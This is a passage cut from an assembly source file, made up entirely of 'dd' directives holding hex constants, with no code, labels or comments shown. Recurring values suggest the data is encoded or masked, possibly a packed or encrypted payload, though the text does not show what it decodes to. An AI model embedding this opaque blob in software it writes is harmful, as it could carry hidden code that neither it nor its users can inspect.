0B807E9CAh, 1567CC3Dh, 389F2232h, 6D2239CBh, 0D54D5A1Fh dd 10AE4511h, 36A609E0h, 514EE837h, 51EF744Ah, 94065816h dd 36DAEAD4h, 0FBDF7744h, 0AC06E937h, 2FFABA6h, 156625DBh dd 632E9932h, 217C2CFh, 0FC932553h, 1566214Dh, 15661BDBh dd 8DD89132h, 0E5B64A6Fh, 40264223h, 0D0E7F4BBh, 15668836h dd 1562A9B3h, 39E12232h, 19EF4D16h, 15756116h, 920C4432h dd 0DD4521CAh, 0B13967E8h, 61E2578Ah, 7330138Fh, 9C36D73Bh dd 156214D2h, 114B8832h, 92664432h, 9C3A0636h, 249F3526h dd 12E287FBh, 75664432h, 92ADA354h, 80ED7056h, 129C9D9Fh dd 1578C13Dh, 94692232h, 1566112Ah, 15669BDBh, 0B8DB1E32h dd 84BF4712h, 276E74EBh, 0C9A86375h, 0C87A5A95h, 15662BDBh dd 2DEF6A32h, 0DC4DDD2Ah, 175D1FD2h, 1466A63Dh, 95061132h dd 7D071EE0h, 15665C25h, 0AA421EBBh, 15661136h, 1A397233h dd 156650B5h, 1BE82D32h, 0FC661132h, 1566883Bh, 2BE80158h dd 0E67DF362h, 1572F803h, 0F1518832h, 0C95551D9h, 0B0B4AE28h dd 5B4CD5EEh, 3783804Ch, 0AE35747Ah, 7548220Fh, 0D6E7CAC5h dd 7548880Ch, 1A3D9D33h, 156623BCh, 985DE432h, 129CA42Bh dd 0EAEAC13Dh, 18FDDCDh, 0A3661132h, 53CCF7D3h, 3A50866Bh dd 9AD91FE4h, 810A7890h, 4721765Bh, 6D59005Ah, 942C786Fh dd 25D17F0h, 4FB60124h, 1063A4F3h, 9B7694D2h, 1BE81ECEh dd 0FC668832h, 1566443Bh, 19C3A06Dh, 9A74FD87h, 73EB056Dh dd 0FC61BE7Dh, 15662239h, 0A80695E9h, 5431D659h, 1A377CFAh dd 15662CB4h, 9C697132h, 15668832h, 1566CF3Dh, 0EA072232h dd 6DC71D3h, 0FD02A28Dh, 15664437h, 4AAA86C1h, 7A19008h dd 4F64C3D4h, 949F2453h, 44E9F9D4h, 98EF7076h, 129C9D7Fh dd 3172CFCBh, 9480AB64h, 156615F4h, 11A00932h, 92664432h dd 1A3A0606h, 15661DBDh, 0D7E7E832h, 63A7D12h, 48609C54h dd 316A9A53h, 94840160h, 156640F0h, 11A4A332h, 92661132h dd 0FC3AAC26h, 15664421h, 6FC8173Ah, 7D779983h, 1773437h dd 2BD5A510h, 96E6A991h, 21EF15DEh, 128EE816h, 6E664432h dd 0F792109Dh, 4A9AA6C5h, 15669CDBh, 0A076D732h, 5E4817BAh dd 87C566F7h, 99CC45C9h, 21AA6FF0h, 88ED4390h, 129C07B7h dd 156687DBh, 9CE13532h, 0F3A0627Eh, 2AD2571Dh, 0DA048D5Ch dd 0AF3477CDh, 1972164Ah, 11424533h, 0FCE7D168h, 1972704Ah dd 1567AB3Dh, 9E9E1132h, 0EF73C5B7h, 0F5B7B835h, 156627DBh dd 10489632h, 9065A010h, 129C6A27h, 15662FDBh, 10963532h dd 703DD446h, 0AEBCD390h, 0E357C41Eh, 156614DBh, 0A810C32h dd 249E8EC5h, 24A013C2h, 12EA1EC2h, 1A668832h, 156645BAh dd 198FDE32h, 0A8661132h, 0C1CEB1CAh, 0DF7D86AEh, 7391064Fh dd 14EB1E9Fh, 0ED668832h, 1A64A4F3h, 156623B7h, 9065E832h dd 129CBD13h, 0AA691552h, 1C8E79E8h, 92661132h, 728BDAC0h dd 6376FAD3h, 743F7D63h, 156614DBh, 0E43B6532h, 0E557E8C0h dd 0E557E403h, 1FEC1E52h, 0FC668832h, 15664437h, 0DC9F93FFh dd 0E7ED7744h, 0FD062553h, 15664439h, 0F0F96CBFh, 37FD6D9Dh dd 47BC48DCh, 0FC071C6Ch, 1566223Ch, 5A27E515h, 8F70404Dh dd 26491DEFh, 324BCD6Ch, 383F0C4Eh, 3B22EC4Dh, 6A638C33h dd 10486656h, 4C7B6D15h, 1568033Dh, 1C8F4432h, 0B4662232h dd 0D94EE256h, 0BC7166D1h, 464270B9h, 0D6E7C1BBh, 15661136h dd 15624BB3h, 9E14432h, 969F7E16h, 0EF7BF88Fh, 91698935h dd 156644B4h, 156624DBh, 0AD56A532h, 2E5F9969h, 0EF6EE1BFh dd 7AE22D35h, 1A661132h, 156689BDh, 985DBC32h, 129C2727h dd 153A953Dh, 0ED068832h, 2E07AB84h, 0EF6CD7BFh, 5EE21E35h dd 75668832h, 248FFB54h, 0C7BEA354h, 88EB7050h, 1D64DA1Ah dd 1567CF3Dh, 0EA9F2232h, 9E36EDE1h, 0D1E7AC0Eh, 15664436h dd 1567A43Dh, 9C9A1132h, 0EF7031B7h, 739A2435h, 0FC07E4B9h dd 156631C5h, 1567053Dh, 1A934432h, 156623B0h, 88EBE932h dd 1D64DA1Ah, 75B5BBCAh, 49A54h, 29DAB54h, 0FCDB0B53h dd 1561BE2Fh, 1514A63Dh, 78F1132h, 83668832h, 0F4643D59h dd 1340D0A1h, 375F4314h, 0D8241466h, 20E37FB9h, 1A61D835h dd 156623B6h, 156D6132h, 0CB764432h, 3E7949CEh, 0B7C11179h dd 40E3B363h, 1A61BE34h, 156611B7h, 5EC1E32h, 0FC668832h dd 15664439h, 0AF4A4D0Fh, 1491CD4Ch, 0FC21F6F5h, 0EA99BB74h dd 17E32D52h, 0A3661132h, 0C6D18796h, 1560AD53h, 0C0352232h dd 3125637h, 3FCF0D09h, 906943C8h, 1566224Fh, 1561993Dh dd 98698832h, 15664433h, 0F8DBA1CBh, 1561EB01h, 15490C3Dh dd 1D8F4432h, 0F0662232h, 7497FB79h, 96D0F064h, 0EF429D8Fh dd 91692235h, 1566117Bh, 0DBA00952h, 940E1A59h, 26BCC9E8h dd 91697076h, 15668833h, 0D1E3C9C7h, 0FC6E23AAh, 1566113Dh dd 0B55E7B8h, 0CE114942h, 0DA870415h, 0FC6627FFh, 0EA997688h dd 156654DBh, 6E0DAA32h, 29EAA24h, 5C37B831h, 12EF44FFh dd 0BCE319D1h, 1A61EB18h dd 0EA9811B6h, 0A8E5BCCDh, 1D67D0FEh, 4BE31E33h, 1A668832h dd 15665DB2h, 0AF004232h, 1B8F60F7h, 0C6668832h, 0B1889A80h dd 0F3AE4D2Bh, 815ECBBh, 905DE9FCh, 1D67B732h, 1555A73Dh dd 75061132h, 156680DAh, 81157A32h, 1EFD3174h, 749A4E19h dd 0F1E30553h, 0FC661D39h, 1566223Dh, 50775E21h, 0A017D091h dd 48A0FD0Dh, 0FC02D7AEh, 0EA99EF0Ch, 0ED99B9C7h, 3397F9B1h dd 1A6625C8h, 15773EB6h, 95067432h, 940065C2h, 741E7DFDh dd 0E78A9409h, 90698033h, 15664470h, 90EDD7C7h, 129C1CC7h dd 1567073Dh, 449E4432h, 2774E88Bh, 94275812h, 92261BF3h dd 0C687C540h, 94501B3Bh, 2C6741C3h, 4CA98920h, 1576CB3Dh dd 1E8F2232h, 33661132h, 0C5168310h, 689BBFD0h, 905D803Fh dd 1D67E3C6h, 157C0D3Dh, 97694432h, 15662233h, 1CE39AC7h dd 7561721Ah, 0AE3525C7h, 0EA99DDCDh, 0ED3DCE1Bh, 0E7960D09h dd 90694C33h, 1566226Dh, 157E983Dh, 0FD068832h, 1566443Ch dd 0CCB855D8h, 0FBAA34D6h, 0EE970C78h, 753DA108h, 90ED4353h dd 129C3143h, 15669BDBh, 60364632h, 0E3A847DDh, 5D8C81CBh dd 1B5141FAh, 454B1358h, 4225FDB5h, 753D4E61h, 156A063Dh dd 138E4432h, 39662232h, 0E5F011E6h, 9269D315h, 15664430h dd 2E074352h, 1494E9B7h, 41E3873Ah, 75664432h, 1AA5A954h dd 9E07D385h, 0EF6B69B7h, 0DE34B35h, 75662232h, 0FCBE9A54h dd 1566883Ch, 89BCAA6Eh, 0FC0F9BDAh, 0A8FE0F79h, 400706A1h dd 1566458Fh, 48892332h, 0FDFDA552h, 1566883Bh, 51BA6186h dd 209774CAh, 1563F95Fh, 467F8832h, 4B0EEC3Fh, 2E934368h dd 1494EDB7h, 34E3873Ah, 75664432h, 7398953Dh, 8CFC7B3h dd 20E30353h, 7561BE34h, 0EDBFC3B2h, 0AD36E953h, 15668833h dd 0ED3E8333h, 0E666A709h, 90691933h, 15668808h, 9400B852h dd 748447D9h, 86794B9h, 44938FC8h, 0EE66E08Bh, 0CC916B6Fh dd 65979073h, 94056A2Ah, 5D6591C3h, 11A7A37Ah, 3C104029h dd 128FD1FDh, 67664432h, 90D4DA82h, 905D64DDh, 1D677B36h dd 154BC13Dh, 74062232h, 331794B9h, 58F8FC8h, 71664432h dd 0DBF776BFh, 9BB48658h, 7E50EEBFh, 0ED06EBEBh, 15679860h dd 0C2671132h, 0E3D3E868h, 2E0795B9h, 14952AB7h, 51E31E3Ah dd 1A668832h, 15664ABDh, 9D694232h, 15661132h, 1566053Dh dd 9E074432h, 0EF4913B7h, 1DE31E35h, 1A668832h, 156646BEh dd 47074232h, 15661088h, 4FB18932h, 156BC73Dh, 1A062232h dd 156611BAh, 0C3F63332h, 2E072EF0h, 14952EB7h, 22E31E3Ah dd 1A668832h, 156645B1h, 90EDDA32h, 129C05BFh, 1567073Dh dd 47934432h, 0FB7F5F88h, 1384D044h, 2E174AB3h, 0E7E77842h dd 7FD83E0Dh, 5F64F3F3h, 0F507AB3h, 0C2673110h, 905DDE68h dd 1D67E222h, 15340D3Dh, 9C694432h, 1566223Ah, 8DDF7752h dd 7407E8B5h, 0E82DFF52h, 9E07329Eh, 0EF4998B7h, 1AEB8735h dd 0FC664432h, 15662238h, 0DD3CCA9Eh, 45B1C1D9h, 0AC370002h dd 15662233h, 753FDE33h, 156685DBh, 0E5E17632h, 66AF9FCh dd 95A5900Bh, 9400DA0Ch, 745103F2h, 0E67EA709h, 90691933h dd 15668806h, 17E64B52h, 75662232h, 0D4ED4653h, 90EDE968h dd 129C5363h, 156633DBh, 7CDFF932h, 8D78C3DBh, 0C9E8D78Fh dd 9F56D455h, 0AD3652FFh, 0EA9977CDh, 0ED3E831Bh, 0E672A709h dd 90691933h, 15668840h, 156649DBh, 0EF562432h, 2DAC9DA0h dd 0A58E5591h, 9369BE4Ch, 15662236h, 74A19B52h, 347F35B1h dd 1A6643C8h, 15666BB7h, 42067132h, 15EA876Bh, 74664432h dd 90EDDE53h, 129C094Bh, 74980352h, 0E4D94B52h, 1564A33Dh dd 74061132h, 0EADED853h, 3C99BBCDh, 91697AF5h, 15661124h dd 156699DBh, 0D5A14732h, 4B63B04Fh, 82A9DA3Bh, 0B3CF2D93h dd 0A8E59703h, 129C23E7h, 51E21E32h, 1A668832h, 156648BBh dd 13E82D32h, 1A661132h, 156688B2h, 0B5E37F32h, 1A6E23C1h dd 156637B7h, 15616132h, 0EFB04432h, 51CD1ECAh, 28E39A2Bh dd 0E0617224h, 4BF9F967h, 0F0A731C6h, 34A39037h, 14E7FC1Eh dd 969E19DDh, 0EF69B78Fh, 91691135h, 15668AB5h, 156AC13Dh dd 0AF062232h, 3E424ADh, 98A40954h, 0A8E525FEh, 129C2D9Bh dd 7DE21E32h, 0E9668830h, 156ECD3Dh, 73062232h, 75008A8Bh dd 905DE953h, 1D67B7B6h, 155AA73Dh, 0A2061132h, 90EDE975h dd 129C6E73h, 1569CB52h, 0A7931132h, 24622472h, 0FB0C3B93h dd 89D4DB8Ah, 13E81E72h, 1A668832h, 156644B5h, 0AE354332h dd 0EA99EECDh, 1A3D571Bh, 156645B7h, 905DDE32h, 1D67E2A6h dd 15330D3Dh, 128F4432h, 0A0662232h, 7F0382B0h, 1A06FFCEh dd 0A269858Dh, 90ED43C2h, 129C25ABh, 1567013Dh, 42934432h dd 0EA420EB1h, 14ED1E6Dh, 0E9668832h, 0D4E72252h, 0FC06F001h dd 1566113Bh, 0FE77D5FFh, 0D9C2B712h, 156DCB6Dh, 651A1132h dd 234AE3C9h, 1F1DBBD3h, 2E0743A5h, 149599B7h, 4BE3873Ah dd 75664432h, 0E786A354h, 0CDED77BBh, 0E0E30353h, 0FC61BE1Bh dd 1566223Fh, 60F98F78h, 58BB6E26h, 2242F9A9h, 0E82DB1h dd 1A661132h, 156687B4h, 156CAD32h, 0ABC22232h, 7C5BA14Fh dd 83715D07h, 0EA99FA64h, 0E24FDDCDh, 7E31E6Ch, 0FC668832h dd 1566443Fh, 6ADCADF5h, 8137247Fh, 4EF21E8Eh, 8DE37F8Fh dd 1A6E23C1h, 15665CB7h, 156F6132h, 800C4432h, 0A4036A9Fh dd 9E9FE833h, 0EF5419B7h, 1576AD35h, 91E82232h, 4A82FA47h dd 1153670h, 9C82C946h, 0AF341F61h, 15661133h, 1A3C5F33h dd 156651BBh, 1576CB32h, 92661132h, 0B8FD955Ch, 3CDDA94Ch dd 0DEBA30E1h, 905D7DA2h, 1D677BAEh, 154FC13Dh, 9E9F2232h dd 0EF4018B7h, 42937035h, 9E4240CDh, 0D1E7060Eh, 15661136h dd 156B013Dh, 1D8F4432h, 66662232h, 353F5559h, 2E546AA3h dd 1495C8B7h, 4FE32D3Ah, 0FC661132h, 1566883Fh, 7F042A40h dd 22E707E1h, 9DFF44E4h, 0D8E303FBh, 0FC61BE3Dh, 15662239h dd 1F76F33Dh, 888C57ACh, 75003642h, 4DF44CEh, 0AF34708Eh dd 6BC0BDE2h, 9461A6F3h, 353C2BF8h, 0B8AC9032h, 9446FB0Ah dd 916316C0h, 4FB10BBEh, 2DE0AA52h, 0FCE7BDCFh, 328E2Ch dd 85E31953h, 1A6E10C1h, 1566CEB7h, 4E84B32h, 0FC662232h dd 1566113Eh, 461E6156h, 99379950h, 1A0C7461h, 361B94B9h dd 0FC068FC8h, 15664438h, 48C98E8Bh, 7FD2C2F9h, 0AE005287h dd 46070B7Fh, 15662389h, 4EB91032h, 15668EDBh, 0AA9F1B32h dd 96B1F259h, 0EF69B88Fh, 91698835h, 15664EAAh, 1561A63Dh dd 0AA061132h, 2B13021Ah, 9E37F53h, 1A6E23C1h, 156641B7h dd 0AB067032h, 0DEBA922h, 749DA954h, 17B394B9h, 198F8FC8h dd 0EE664432h, 981CB0C2h, 173D2228h, 249655C9h, 249D75EDh dd 0CAE161EDh, 156600DBh, 0EE6C0F32h, 40392937h, 3F5B816Ah dd 3CAD72FFh, 1F8FDBB1h, 8A664432h, 2F892600h, 35450AD3h dd 0A5E3B3C9h, 1A6E45C1h, 15661CB7h, 9B697132h, 15668823h dd 15664FDAh, 0FCAACC32h, 16631882h, 0BE2945ECh, 90ED256Bh dd 129C09FFh, 0A2694252h, 4307D0CAh, 1566458Ch, 4B912332h dd 16E11E52h, 73668832h, 0AF00B3B9h, 2E0715A7h, 149531B7h dd 5BE3873Ah, 0FC664432h, 15662239h, 46F99D6Fh, 54F5F649h dd 9E27685Eh, 0EF48F7B7h, 1D8F7135h, 73668832h, 63E68F5Eh dd 1A72C9B7h, 156617B5h dd 15ED8732h, 74664432h, 3162DD65h, 96422DB9h, 97698CF6h dd 1566443Fh, 15662ADBh, 3AF47E32h, 0BEEE1340h, 31E37FD2h dd 1A6E23C1h, 15662EB7h, 1DE18732h, 1A664432h, 156620B3h dd 9E077132h, 0EF6A05B7h, 3DD72435h, 1566AD3Dh, 45071132h dd 1566898Ah, 4DA14532h, 156631DBh, 7E659132h, 0F1306DC6h dd 0A059252Ah, 0CB39322Fh, 9FBCB583h, 0E64E0D09h, 90694C33h dd 1566225Dh, 15679E3Dh, 9E9E8832h, 0EF7B8DB7h, 1AE42D35h dd 0FC661132h, 15668838h, 6B62A7B0h, 1BD8B5D4h, 9B699E01h dd 1566883Eh, 1560CF3Dh, 9C692232h, 15661132h, 26F43260h dd 0FFE7473Ah, 34682170h, 9484C078h, 0E10615D8h, 4FB145F1h dd 95ADA952h, 1A07B7F5h, 15669EBCh, 1577AD32h, 61F02232h dd 0B1F99665h, 0BEE3BECAh, 62EBFDDh, 2E131667h, 14953DB7h dd 54E3873Ah, 0E9664432h, 347F9FB1h, 1A6616C8h, 1566BBB7h dd 19E44B32h, 1A662232h, 156617BAh, 15E48732h, 9E664432h dd 0EF44EBB7h, 0AD36ED35h, 0EA9977CDh, 0FC3E831Bh, 1566223Eh dd 0E1EA752Eh, 0EE0D80E6h, 61C25FF6h, 0E656A709h, 90691933h dd 15668874h, 156ECF3Dh, 91692232h, 15661130h, 90EDE952h dd 129C4627h, 0E62DC7h, 0FC661132h, 15668822h, 97A6429Ah dd 19AE342h, 0F522951Dh, 27236E3Eh, 850FE60h, 0FFA7058Eh dd 39A49036h, 3C9B0C0Ch, 9E061EE5h, 905D43C3h, 1D67E206h dd 150E0D3Dh, 1B8F4432h, 8F662232h, 2B2A0E44h, 0F02D8634h dd 95AA1371h, 0CDBA193h, 1561EB13h, 152E0D3Dh, 96694432h dd 1566223Bh, 8399AF52h, 4B30DCCBh, 18E3CF53h, 7561D83Ah dd 0AABD9054h, 0AD93E826h, 223F21FAh, 0AC374353h, 0EA99EECDh dd 753F471Bh, 156AAD61h, 68E42232h, 0B07DA29Eh, 0B4D51AB9h dd 943CE55Bh, 5E7080C5h, 905D7048h, 1D677B0Ah, 150DC13Dh dd 94692232h, 15661123h, 156684DBh, 69557132h, 0A9A0C40Dh dd 33AE3E1Ah, 8CE3034Eh, 1A61BE26h, 15663CB7h, 18F7132h dd 14668832h, 0D864A9FDh, 0C679C1F9h, 0A7D862BAh, 0DD461229h dd 1A33F563h, 1A07D585h, 15661CBAh, 9369E832h, 15664432h dd 29A7A354h, 0AE357025h, 0EA9977CDh, 1A3D9B1Bh, 15662AB9h dd 9F697132h, 15668832h, 29E37F53h, 1A6E23C1h, 156659B7h dd 9E9E7032h, 0EF7A69B7h, 1AE82D35h, 0FC661132h, 15668838h dd 9E18670Bh, 20762EFh, 48F5770h, 0DF668832h, 29AD6C7Ah dd 95A2A03Eh, 760C035Bh, 16DC434Ch, 1567FD63h, 0DA672232h dd 1561F86Bh, 489D8832h, 3069AB8Dh, 51E319B7h, 1A6E10C1h dd 1566DCB7h, 1CEE4B32h, 75662232h, 78308Ah, 7407E83Bh dd 347FF9B1h, 1A6625C8h, 156629B7h, 156E6132h, 4CCA4432h dd 83E06A0Ah, 90ED3DDCh, 129C97ABh, 156649DBh, 0E87CED32h dd 1BD520B4h, 2C7301FCh, 0AE355351h, 0EA99DDCDh, 0FC3DCE1Bh dd 15668837h, 3956CC28h, 55E31937h, 1A6E10C1h, 1566E0B7h dd 156EAD32h, 42532232h, 0F8613ACh, 0A8E5A3FAh, 129C652Bh dd 5BE32D32h, 1A661132h, 156684BDh, 13E04B32h, 1A662232h dd 156611B8h, 0E0E30332h, 7561BE33h, 1564A63Dh, 74061132h dd 0EADCDA53h, 3C99BBCDh, 996978E5h, 1566112Fh, 0EDEDEE52h dd 156657DBh, 0AC09D232h, 9F9AFEA4h, 461F7223h, 0B9A5C95Fh dd 0CD4F1CCBh, 5DE32A53h, 1A6E89C1h, 15667EB7h, 1DE12D32h dd 1A661132h, 15668ABCh, 9E072432h, 0EF4D73B7h, 128FE435h dd 75668832h, 25CCFD69h, 0A833752Ch, 15661133h, 0FC3B6733h dd 15664439h, 9D7A59ABh, 880073A0h, 2E8BBBE6h, 149508B7h dd 37E32D3Ah, 0E0661132h, 37630DB9h, 730643C8h, 7569FB88h dd 749FFDB8h, 0EADED853h, 3C99BBCDh, 9F067AF5h, 0EFED77CCh dd 45E3B353h, 1A6E45C1h, 156613B7h, 9269ED32h, 1566883Eh dd 1560C73Dh, 92692232h, 15661132h, 1EEB0DB9h, 0E09F43C8h dd 0FCE7EDB5h, 0EA99EECDh, 128F47B5h, 82664432h, 0F34A99E8h dd 905D1E57h, 1D677B66h, 1507C13Dh, 1A062232h, 156615B7h dd 39D9EE32h, 0C6D94B66h, 7CE3A953h, 1A61EB1Bh, 15669BB6h dd 18E84B32h, 0FC662232h, 1566113Ah, 67722976h, 62812830h dd 10E19860h, 0D42C2A77h, 0FFE78AD0h, 49947135h, 0B88D0B3h dd 0C24F7EECh, 1E18768h, 0FC664432h, 1566223Dh, 7C30B1B4h dd 1EE996AAh, 81582E5Dh, 2EF8A251h, 149549B7h, 2CE3873Ah dd 0EC664432h, 0AE3A7B9h, 996916C8h, 1566883Dh, 15664EDBh dd 856CB832h, 3C110AA7h, 42BF3785h, 53381B64h, 1A06D5B5h dd 156617B6h, 15E78732h, 1A664432h, 156623B5h, 0ED07E832h dd 0E63A0D09h, 90694C33h, 1566224Bh, 48F7152h, 0A3668832h dd 0D193B882h, 3CAE8A5Fh, 1444E5C0h, 22468776h, 1566C33Dh dd 9E072232h, 78F70C9h, 0B5668832h, 0FE654435h, 0B74D708h dd 0FCFC6BB3h, 0AEA3BF34h, 0F8E3CFB3h, 0FC61D838h, 15661126h dd 0C1212DEDh, 0D2219A4Fh, 0E13238A6h, 0D1A9F3AEh, 0CE269F4Dh dd 119914A5h, 75F17A16h, 1AB9AE3Dh, 15668DBCh, 0DBE72232h dd 0FC0785BBh, 15661137h, 0EDBD124Eh, 75E37F05h, 1A6E23C1h dd 156628B7h, 9E9E7D32h, 0EF6D7DB7h, 1575CB35h, 57561132h dd 64D957ABh, 0E73A3940h, 3587E5Bh, 0CE899AB2h, 0EADFD94Dh dd 3C99BBCDh, 1E8F7BFDh, 0CC661132h, 2E4019AEh, 0D9FC2B89h dd 905D36C7h, 1D67E256h, 15420D3Dh, 98694432h, 1566223Eh dd 1560973Dh, 90698832h, 15664432h, 3D03A7B9h, 740616C8h dd 0EA993163h, 0DA4FBBCDh, 905DD76Bh, 129C095Fh, 15480D3Dh dd 9E934432h, 0EF70BBB7h, 0D2E77135h, 260A31FCh, 156654DBh dd 98291D32h, 8B54D8AFh, 0DDBC3A45h, 81E87F59h, 0A8334301h dd 0EA99EECDh, 0EC3B671Bh, 0E60EC109h, 90692A33h, 15661104h dd 1567023Dh, 9E9A4432h, 0EF4FABB7h, 0AD36E935h, 15668833h dd 1A3E8333h, 15663BB7h, 1572F832h, 5AA28832h, 3E8E2A0Ah dd 0AFE67D40h, 0DADD4A58h, 2D0C1135h, 905DEDF1h, 1D67D196h dd 15EA943Dh, 9B698832h, 15664438h, 156627DBh, 0A587F032h dd 0A8E51543h, 1D67B79Eh, 0EE32D32h, 0FC661132h, 1566883Ah dd 7922D481h, 89EA4E93h, 88FACB1h, 1A668FC8h, 156611B6h dd 90EDDE32h, 129C203Bh, 15669ADBh, 54254B32h, 0FA1DE00Eh dd 0BA671E39h, 5887FCAAh, 0FC39DF45h, 15662223h, 9E36A9EDh dd 0E10BD0ADh, 77F7E485h, 38AB06D1h, 14DF404Ch, 14668832h dd 68F1DFDh, 5F662232h, 48ADD636h, 0B731E1FDh, 5A56A553h dd 2AD18BC6h, 905D1DB9h, 1D677B9Ah, 15E7C13Dh, 96692232h dd 15661139h, 15668EDBh, 84DE1232h, 0EC792B18h, 0E6CAACB1h dd 1A668033h, 156677B7h, 1569CB32h, 33B91132h, 163581Bh dd 81626544h, 0C2722693h, 0FCDB9247h, 1561722Fh, 1527C03Dh dd 188F2232h, 19661132h, 0DF2BBA6Ch, 0D54A994Dh, 28A2679Ah dd 9EB94B9h, 1E8F8FC8h, 0B664432h, 250E54BFh, 0FB5D9AFEh dd 0AB30994Dh, 15664433h, 0FC38D533h, 15661139h, 0DC33CECCh dd 0D4BB5648h, 2E355E15h, 14957DB7h, 28E3873Ah, 1A664432h dd 15662ABFh, 17E61E32h, 75668832h, 70E3CF53h, 0FC61D83Dh dd 1566113Ch, 72BB787Eh, 0B76624E3h, 538D856h, 0AF3479E4h dd 15668833h, 0FC3C9333h, 1566223Ah, 0F5D86EBh, 2786E223h dd 0E616C109h, 90692A33h, 15661157h, 156E073Dh, 9D694432h dd 15662230h, 95067052h dd 9C6924C7h, 15664430h, 9E074352h, 0EF6770B7h, 156C6135h dd 978A4432h, 2DA7B6D6h, 9E283052h, 15669BDBh, 88B73E32h dd 0BE77BF97h, 288ADF09h, 20C6F37Fh, 0A9DEFFE4h, 3DB09F67h dd 0D0E75B1Bh, 0A0B05F1Bh, 1A3BAB1Bh, 15662ABFh, 4BD27132h dd 17783254h, 61E37F53h, 1A6E23C1h, 15662DB7h, 68FE832h dd 7C664432h, 96C1E502h, 695629C3h, 89DCA38h, 7826BDF4h dd 4506219Eh, 9E07706Ch, 0EF6B39B7h, 0AF002435h, 1A063F4Bh dd 9E00D18Dh, 4507E9C8h, 0EA99BB8Ah, 4DA10BCDh, 6DE32ACEh dd 1A6E89C1h, 15667EB7h, 90EDDB32h, 129C1DD7h, 1567093Dh dd 0ED934432h, 0EA999961h, 0CA4FEECDh, 1A067D69h, 15665DBAh dd 1572CB32h, 0A77B1132h, 639DA58Ah, 8148B06Ch, 154E15A1h dd 2EDAB6A8h, 2E07263Bh, 149538B7h, 21E32D3Ah, 1A661132h dd 156684BBh, 13E34B32h, 1A662232h, 156611B0h, 0FCE30332h dd 7561BE16h, 2695A354h, 74BB9B39h, 0EA993361h, 0CA4FBBCDh dd 1563CB69h, 71631132h, 2EA78DE5h, 1495C4B7h, 94E32D3Ah dd 75661132h, 15630F3Dh, 4ED84432h, 9F20DF08h, 916970ECh dd 1566882Bh, 156AAD52h, 0B1C82232h, 1DAA3EBh, 0CE05155Dh dd 9F696971h, 15662232h, 0C0E39A53h, 1A617230h, 156649B6h dd 9D694232h, 15661132h, 3B4E18Ah, 0AB30252Dh, 0EA99DDCDh dd 0FC38E61Bh, 15668821h, 37905D8Fh, 217AC509h, 7DE07340h dd 4DE5E12h, 75046F4Ah, 156DCACEh, 0EF8F1132h, 0FEEED3D3h dd 0E2168CBBh, 0FBE74407h, 743850E7h, 91697739h, 15664419h dd 0F996CBCAh, 1E8FEECDh, 0C9668832h, 4070899Dh, 77F8156Bh dd 58FF708h, 0B0668832h, 46F16589h, 14AE5281h, 0EB356580h dd 2EB5233Bh, 0EF7029B7h, 8E32D35h, 1A661132h, 156682B7h dd 0E7ED2432h, 32DEC8B3h, 98070C34h, 142618B7h, 0B68FB83Ah dd 0E099DDDEh, 4AB9409h, 90698FC8h, 15664497h, 157EAB3Dh dd 9C691132h, 15668820h, 156649DBh, 0D460F932h, 1DA45208h dd 0ED03C18Bh, 96937C23h, 1494EE8Fh, 9069103Ah, 1566884Bh dd 16E64B52h, 1A662232h, 9807EA8Dh, 4C6DEFB7h, 9E692432h dd 15662226h, 15661EDBh, 0D7941F32h, 8609AE93h, 77D2E912h dd 97A5EDAh, 156698DBh, 0DE656432h, 99FABC3Bh, 0F2AD701Eh dd 5135D25Eh, 0FC062533h, 15662237h, 37633FB5h, 1F8FE81Ah dd 4A664432h, 0B158589Fh, 525BFF5Bh, 0DDEDEECEh, 168F2553h dd 1A99DDDEh, 15661DB1h, 13E78732h, 1A664432h, 156622B9h dd 0C9E32A32h, 1A6E89C0h, 15660BB6h, 128F4232h, 98661132h dd 0BDD71200h, 138F632Eh, 0F3662232h, 0D5E63442h, 9406E98Eh dd 0D20A0FFBh, 10E42D6Dh, 0AB661132h, 44BE6BA8h, 0F5E37F53h dd 1A6E23C0h, 156637B7h, 15746132h, 0DD8B4432h, 0C0A37346h dd 823D97D5h, 4F2FCEFh, 54ABB4EEh, 0EA8DB3DBh, 11E11ECDh dd 75668832h, 7D074883h, 15662232h, 1572F86Ch, 2AD68832h dd 8F2596B8h, 5CE0E78Ah, 63620A56h, 8E0E5F63h, 969E823Ch dd 906923CCh, 156611F6h, 15669BDBh, 0AF0FFC32h, 0D5557BBBh dd 752FAB1Bh, 32DC2F3Ah, 0CD1B925Dh, 0E7B6A709h, 90691933h dd 1566880Ah, 0D1E3C9CBh, 1A667AB5h, 156616BBh, 14E38732h dd 0E0664432h, 0EA8D03DBh, 1B8E71CDh, 94668832h, 0B3B94EE1h dd 15959E2Dh, 62D5798Dh, 9369D183h, 15664431h, 74BFA954h dd 0E7B29409h, 90698033h, 15664429h, 2FE3AFCBh, 1A6649BAh dd 156680B1h, 17E14B32h, 75662232h, 0FFBAF853h, 2E9377CDh dd 14949CB7h, 20E32D3Ah, 75661132h, 18AC58B3h, 98076A74h dd 4DEE5DB7h, 1DE61E32h, 75668832h, 0AD001C63h, 0FC07614Ah dd 0EA99FB9Ch, 15680A3Dh, 0FD064432h, 15662237h, 0D78A9403h dd 749FD079h, 3162C562h, 147D1577h, 964215B9h, 504B8CF6h dd 0FC675F05h, 15662222h, 46758F44h, 1DD66A5Dh, 5F024A5h dd 0A0DDEECh, 156F903Dh, 73068832h, 1F369EB3h, 45074352h dd 0F87C688Ah, 3AC8365Ah, 0D357211Bh, 6588A36Ah, 0E2757B07h dd 0DD8009ECh, 5B372900h, 0D81DE4B3h, 1E9FEFE8h, 6E387C4h dd 0E0664432h, 0EA8C03DBh, 156EF8CDh, 0B1CF8832h, 9E1A7B60h dd 0BC0E9939h, 9C66114Ch, 21E7AC36h, 8D67D116h, 0E3E77C1Fh dd 38FE10A7h, 3CD301C7h, 0FC61BE16h, 1566223Ch, 429F9693h dd 72CBF280h, 0DE58CF13h, 0FC06B9C8h, 15661135h, 835268AEh dd 0FDAF5C8Eh, 15662222h, 0E8406AE9h, 0AC041F08h, 7F647CF1h dd 4F592241h, 0A0EF706Dh, 129CADDFh, 0FC58C4C7h, 1463A73Dh dd 9E691132h, 1566882Bh, 1575C73Dh, 1B8F2232h, 82661132h dd 0D796C389h, 27946315h, 1B39E2EBh, 1410EEF0h, 12DD3062h dd 514F7310h, 4A3E2616h, 12DDD6B3h, 0AA06BF10h, 647E8CC0h dd 1566A93Dh, 0E0071132h, 29C53260h, 0CF910AEFh, 0E7E7F8C5h dd 594D620Ah, 143C5F1Bh, 8EA1C5C5h, 7564D47Dh, 1564903Dh dd 0AED18832h, 741FB6B2h, 317AA964h, 